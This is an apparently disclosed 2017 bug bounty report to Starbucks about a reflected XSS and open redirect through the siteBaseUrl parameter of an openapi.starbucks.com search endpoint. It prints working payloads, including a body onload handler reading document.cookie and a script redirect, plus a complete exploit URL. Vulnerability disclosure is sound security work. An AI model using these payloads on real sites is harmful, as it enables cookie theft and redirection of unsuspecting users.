Starbucks · Report #213190
Reflected XSS in openapi.starbucks.com /searchasyoutype/v1/search?x-api-key=
Validstatus
mediumseverity
10upvotes
25 Jul 2017disclosed
How it was found
Hi Starbucks team, While testing i founded Reflected XSS in openapi.starbucks.com that can also lead to Open redirect Vulnerable link
https://openapi.starbucks.com/searchasyoutype/v1/search?x-api-key=██████&query=coffe&partnerid=████:vwt2u5wngbk&siteBaseUrl= Vulnerable parameter
siteBaseUrl Payloads
2). http://googl.com/%0a<body onload=prompt(%64ocument.domain)>%```
For Open redirect the payload is
=====================
http://googl.com/%0a<script>window.location='https://google.com';</script>%
So the finalized link with payload is given below
https://openapi.starbucks.com/searchasyoutype/v1/search?x-api-key=██████&query=coffe&partnerid=███████:vwt2u5wngbk&siteBaseUrl=http://googl.com/%0a<body onload=%61lert(%64ocument.%63ookie)>%
POC has been attached